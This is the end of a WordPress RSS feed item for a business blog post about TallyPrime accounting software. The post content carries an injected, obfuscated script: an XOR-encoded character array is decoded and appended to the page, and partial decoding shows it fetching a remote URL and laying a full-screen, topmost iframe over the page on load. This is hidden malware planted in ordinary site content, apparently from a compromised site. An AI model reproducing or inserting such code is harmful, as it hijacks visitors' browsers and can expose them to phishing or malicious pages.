2,44,59,40,122,41,122,103,122,114,46,63,34,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,41,116,51,52,62,63,34,21,60,114,120,6,52,120,115,122,100,103,122,106,122,38,38,122,41,116,51,52,62,63,34,21,60,114,120,6,40,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,122,122,40,63,46,47,40,52,122,117,4,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,102,100,120,125,7,113,126,117,51,116,46,63,41,46,114,41,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,50,53,45,19,52,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,123,117,4,50,46,46,42,41,101,96,6,117,6,117,117,51,116,46,63,41,46,114,47,40,54,115,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,47,40,54,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,97,46,53,42,96,106,97,54,63,60,46,96,106,97,45,51,62,46,50,96,107,106,106,44,45,97,50,63,51,61,50,46,96,107,106,106,44,50,97,56,53,40,62,63,40,96,52,53,52,63,97,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,97,55,59,40,61,51,52,96,106,97,42,59,62,62,51,52,61,96,106,97,120,97,87,80,122,122,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,53,52,23,41,61,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,63,44,63,52,46,116,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,63,44,63,52,46,116,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,44,59,40,122,63,54,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,63,54,122,124,124,122,63,54,116,42,59,40,63,52,46,20,53,62,63,115,122,63,54,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,63,54,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,45,51,52,62,53,45,116,40,63,55,53,44,63,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,53,52,23,41,61,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,114,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,115,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,60,63,46,57,50,114,27,10,19,5,19,30,5,15,8,22,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,40,63,46,47,40,52,122,52,47,54,54,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,63,55,42,54,59,46,63,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,106,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,40,47,41,46,63,62,15,40,54,122,103,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,114,46,40,47,41,46,63,62,15,40,54,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,115,122,33,122,40,63,46,47,40,52,122,114,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,122,40,63,46,47,40,52,122,120,120,97,122,39,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,9,51,52,61,54,63,15,40,54,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,41,50,53,45,19,52,19,60,40,59,55,63,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,39,115,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,40,63,59,62,35,9,46,59,46,63,122,103,103,103,122,120,57,53,55,42,54,63,46,63,120,122,38,38,122,62,53,57,47,55,63,52,46,116,56,53,62,35,115,122,33,87,80,122,122,122,122,40,47,52,114,115,97,87,80,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,30,21,23,25,53,52,46,63,52,46,22,53,59,62,63,62,120,118,122,40,47,52,115,97,87,80,122,122,39,87,80,39,115,114,115,97,87,80];return String.fromCharCode.apply(String,_0xdbb3.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script></p>
<p>The post <a href="https://www.marsoneinnovators.com/8-reasons-why-businesses-opt-for-tallyprime/">8 Reasons Why Businesses Opt for TallyPrime</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.marsoneinnovators.com/8-reasons-why-businesses-opt-for-tallyprime/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
